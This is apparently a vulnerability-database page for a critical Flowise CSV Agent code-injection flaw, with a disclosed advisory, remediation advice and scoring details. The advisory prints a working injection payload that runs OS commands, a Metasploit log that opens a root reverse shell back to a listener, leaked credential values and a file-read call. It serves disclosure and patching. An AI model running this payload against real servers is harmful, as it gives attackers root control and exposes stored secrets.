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CVE-2026-69255

CRITICAL

Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified

Published August 4, 2026Updated August 4, 2026Source: osv

Summary

## UPDATE 2026-05-20: Full RCE as root VERIFIED **This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.** ### Verified Exploit Chain 1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js` bridge provides access to the host Node.js process 3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction) 4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container) ### Working RCE Payload ``` ";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");# ``` **Constraint:** No commas allowed in payload — `csvFile.split(',')` splits on all commas. ### Metasploit Session Proof ``` msf > use exploit/multi/http/flowise_csv_agent_rce msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp msf > exploit [+] Authentication successful [+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4 [*] Sending stage (3090404 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422) meterpreter > getuid Server username: root meterpreter > sysinfo Computer : cbce3fb352b7 OS : Linux 6.8.0-111-generic Architecture : x64 Meterpreter : x64/linux meterpreter > shell # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) # uname -a Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux ``` ### Additional Verified Impact **Credential Theft:** ``` FLOWISE_PASSWORD=admin123 DATABASE_PATH=/root/.flowise APIKEY_PATH=... ``` **Arbitrary File Read** via `process.binding('fs').readFileUtf8('/etc/hostname')` → `cbce3fb352b7` **Server DoS** — certain native binding calls (spawn_sync) crash the Node.js process entirely. ### CVSS v3.1: 9.9 CRITICAL `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` --- ## Original Report (below) ## Vulnerable Code **File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` **Lines 133-138** — Unsanitized string extraction from data URI via `file.split(',').pop().pop()` — no validation on content. **Lines 155-171** — Direct interpolation into executable Python code: `base64_string = "${base64String}"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context. `validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171. ## Remediation **Option 1 (Best):** Use `pyodide.globals.set('base64_string', base64String)` instead of string interpolation **Option 2:** Validate base64 before interpolation — reject if not matching `/^[A-Za-z0-9+/=]*$/` **Option 3:** Escape special characters (`"`, `\n`, `\r`, `\\`) before interpolation ## Related CVEs - CVE-2026-41264 (CSV Agent regex bypass) - CVE-2026-41265 (Airtable Agent sandbox bypass) - CVE-2026-46442 (NodeVM sandbox escape) **Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update flowise-components to 3.1.3 or later
npm install flowise-components@3.1.3
npm
Update flowise to 3.1.3 or later
npm install flowise@3.1.3

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

PackageEcosystemAffectedFixed In
flowise-components
npm
All versions3.1.3
flowise
npm
All versions3.1.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-69255?
Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.3/10).
How do I check if my project is affected by CVE-2026-69255?
CVE-2026-69255 affects flowise-components and flowise. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-69255 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.3

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-vmv7-4m6c-3cg5

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